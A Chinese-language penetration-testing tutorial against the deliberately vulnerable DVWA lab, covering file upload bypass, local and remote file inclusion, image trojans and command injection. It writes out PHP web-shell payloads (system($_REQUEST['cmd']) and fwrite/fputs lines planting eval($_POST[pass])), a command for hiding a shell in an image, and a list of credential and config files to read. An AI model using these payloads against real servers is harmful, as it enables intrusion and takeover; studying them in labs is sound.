网络安全-文件上传和命令执行

背景

文件上传是指通过上传带有后门程序的漏洞文件到服务器,从而获取Web服务器管理权限,文件上传可以有多种方式,也可以是任意文件,本文以图片木马为例。命令执行是指通过构造特殊的指令从而使得服务器执行一些特殊的命令,从而获取服务器管理权限的行为。

本文的靶机是DVWA,攻击机环境是Kali,攻击的核心在于如何将木马上传到服务器,而连接服务器则可以通过程序:中国菜刀cknife等工具。

文件上传

无验证

初级的文件上传漏洞,是指开发者没有对上传的文件做任何的过滤,导致被恶意上传了木马文件,如下:

image-20210215222000542

然后将文件上传到靶机服务器后,尝试打开看是否可以:

image-20210215222133520

发现可以正常的打开文件,所以可以使用Cknife进行连接,如下:

image-20210215222343085

之后就可以就可以直接获取系统的管理权限了,如下:

image-20210215222445365

报文验证

中级的文件上传漏洞是指开发者只对HTTP报文中提供的信息进行了验证,而没有对发送文件的真实信息进行验证,从而导致渗透者直接通过抓包、改包的方式就可以跳过审查,从而达到目的,如下:

image-20210215223341798

然后我们将其进行修改后提交:

image-20210215223452723

文件包含

敏感文件

系统的配置文件、服务器的配置文件都是很敏感的隐私文件,不便于外人浏览,因为它有助于攻击者了解服务器的部署结构,现列举部分如下:

  • Linux::

    系统用户:/etc/passwd

    系统用户信息:/etc/shadow

    PHP配置信息:/etc/php5/apache2/php.ini

    Mysql配置信息:/etc/mysql/my.cnf

    Apache2配置信息:/etc/apache2/sites-enabled/000-default

    Apache2配置信息:/etc/apache2/apache2.conf

  • Windows:

    系统信息:c:\boot.ini

    Mysql配置信息:c:\Program Files\mysql\my.ini

    PHP配置信息:c:\windows\php.ini

    Mysql配置信息:c:\windows\my.ini

本地文件包含

本地文件包含是指,通过调用服务器的本地文件,从而实现执行恶意代码的功能。产生的原因还是因为没有对引用文件的方式进行过滤和检测导致,先拿本地robots.txt进行测试,如下:

image-20210217092552476

确定存在文件包含漏洞后,再进一步访问更加隐私的信息:

image-20210217092159873

远程文件包含

远程文件包含是指,通过调用其他网站上的恶意文件内容,从而使服务器执行恶意代码,如下:

1
2
# 远程文件的内容,打印出网页端的PHP配置信息
<?PHP phpinfo(); ?>

调用后得到的结果:

image-20210217095228885

借助这样的方式,还可以远程执行cmd命令,

1
2
# 远程文件的内容,执行linux下的系统命令
<?PHP system($_REQUEST['cmd']);?>

可惜的是,没执行成功~~

文件包含、上传结合

为了防止文件包含漏洞,服务器端会直接禁止调用其他域名下的文件,此时可以结合文件上传实现渗透。渗透者可以在上传的文件中植入木马语句,绕过前后端的检测。此处使用的是图片木马。

制作图片木马,可以通过手动的方式,同时也可以其他的工具,手工的方式如下:

1
2
# 通过命令,Windows下
copy [图片名称] /b + [木马命令文件] /a [生成的图片名]

借助木马图片制作工具:edjpgcom,它可以简化将木马语句写入到文件中的步骤。界面如下:

image-20210215221750534

其中图片中注入的语句可以为如下:

1
2
3
4
# 以下任意一条语句,它会执行这些语句的地方生成一个文件:shell.php,
# 写入shell.php文件中的内容为<?php eval($_POST[pass]);?>
<?fwrite(fopen("shell.php","w"),'<?php eval($_POST[pass]);?>')?>
<?fputs(fopen("shell.php","w"),'<?php eval($_POST[pass]);?>')?>

然后将图片上传:

image-20210217121918734

文件包含漏洞的地方调用这个图片,一旦图片被解析,则会在文件包含漏洞处生成一个文件:shell.php:

image-20210217122102320

shell文件一旦写入完毕,则可以用菜刀进行连接了,如下:

image-20210217122328213

命令执行

命令执行漏洞是指服务器端执行了前端用户输入的恶意指令,导致被渗透,常见于各种框架。

image-20210217123621371

经常用于拼接的命令有:&&&|